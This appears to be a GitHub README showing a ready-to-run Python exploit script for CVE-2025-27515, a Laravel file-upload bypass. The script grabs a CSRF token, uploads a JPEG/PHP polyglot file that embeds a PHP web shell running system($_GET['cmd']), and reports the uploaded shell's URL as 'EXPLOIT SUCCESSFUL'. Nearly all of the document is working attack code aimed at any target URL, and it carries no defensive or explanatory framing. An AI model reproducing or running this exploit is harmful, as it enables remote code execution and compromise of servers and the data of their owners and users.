README.md
Rendering markdown...
#!/usr/bin/env python3
import sys
import requests
from bs4 import BeautifulSoup
from typing import Optional
class Colors:
RED = '\033[91m'
GREEN = '\033[92m'
YELLOW = '\033[93m'
CYAN = '\033[96m'
WHITE = '\033[97m'
RESET = '\033[0m'
BOLD = '\033[1m'
def print_banner():
print(f"""
{Colors.CYAN}╔══════════════════════════════════════════════════════════╗
║ {Colors.BOLD}CVE-2025-27515{Colors.RESET}{Colors.CYAN} - Laravel File Upload Bypass ║
║ ║
║ {Colors.RED}█▀▄▀█ ▄▀█ ▀█ █▀ █▀▀ █▀▀{Colors.RESET}{Colors.CYAN} ║
║ {Colors.RED}█ ▀ █ █▀█ █▄ ▄█ ██▄ █▄▄{Colors.RESET}{Colors.CYAN} ║
║ ║
║ {Colors.YELLOW}Polyglot JPEG+PHP → RCE{Colors.RESET}{Colors.CYAN} ║
╚══════════════════════════════════════════════════════════╝{Colors.RESET}
""")
class CVE2025_27515_Exploit:
def __init__(self, target_url: str):
self.target_url = target_url.rstrip('/')
self.upload_url = f"{self.target_url}/upload"
self.session = requests.Session()
self.csrf_token = None
self.session.headers.update({
'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36',
'Accept': 'application/json, text/javascript, */*',
'Accept-Language': 'en-US,en;q=0.9',
})
def log_info(self, message: str):
print(f"[*] {message}")
def get_csrf_token(self) -> Optional[str]:
try:
response = self.session.get(self.upload_url)
if response.status_code != 200:
return None
soup = BeautifulSoup(response.text, 'html.parser')
csrf_meta = soup.find('meta', {'name': 'csrf-token'})
if csrf_meta:
self.csrf_token = csrf_meta.get('content')
return self.csrf_token
csrf_input = soup.find('input', {'name': '_token'})
if csrf_input:
self.csrf_token = csrf_input.get('value')
return self.csrf_token
return None
except Exception as e:
return None
def create_polyglot_file(self) -> bytes:
return b"\xff\xd8\xff\xe0\x00\x10JFIF\x00\x01\x01\x00\x00\x01\x00\x01\x00\x00<?php system($_GET['cmd']); ?>"
def exploit_polyglot(self) -> tuple[bool, dict]:
if not self.csrf_token:
if not self.get_csrf_token():
return False, {}
try:
file_content = self.create_polyglot_file()
files = {'files[]': ('image.jpg', file_content, 'image/jpeg')}
data = {'_token': self.csrf_token}
self.log_info(f"Sending payload to {self.upload_url}...")
response = self.session.post(self.upload_url, files=files, data=data)
result_info = {
'status_code': response.status_code,
'content_length': len(response.content)
}
if response.status_code == 200:
try:
result = response.json()
if result.get('success') and result.get('files'):
file_info = result['files'][0]
result_info['stored_path'] = file_info.get('stored_path')
result_info['url'] = f"{self.target_url}/storage/{file_info.get('stored_path').split('/')[-1]}"
return True, result_info
except:
pass
return False, result_info
except Exception as e:
return False, {'error': str(e)}
def run(self):
self.log_info(f"Target: {self.target_url}")
print()
success, result_info = self.exploit_polyglot()
print()
print(f"[+] Request sent!")
print(f" Status Code: {result_info.get('status_code', 'N/A')}")
print(f" Content-Length: {result_info.get('content_length', 0)} bytes")
print()
if success:
print(f"UPLOAD RESULT:")
print(f"{result_info.get('url', 'N/A')}")
print()
print(f"{Colors.GREEN}✓ EXPLOIT SUCCESSFUL{Colors.RESET}")
print("=" * 60)
else:
print(f"{Colors.RED}✗ EXPLOIT FAILED{Colors.RESET}")
if 'error' in result_info:
print(f"Error: {result_info['error']}")
print("=" * 60)
return success
def main():
print_banner()
if len(sys.argv) != 2:
print(f"Usage: {sys.argv[0]} <target_url>\n")
print(f"Example:")
print(f" python3 {sys.argv[0]} http://localhost:8000\n")
sys.exit(1)
target_url = sys.argv[1]
exploit = CVE2025_27515_Exploit(target_url)
try:
exploit.run()
except KeyboardInterrupt:
print(f"\n\n[!] Interrupted by user\n")
sys.exit(1)
except Exception as e:
print(f"\n[✗] Fatal error: {str(e)}\n")
sys.exit(1)
if __name__ == '__main__':
main()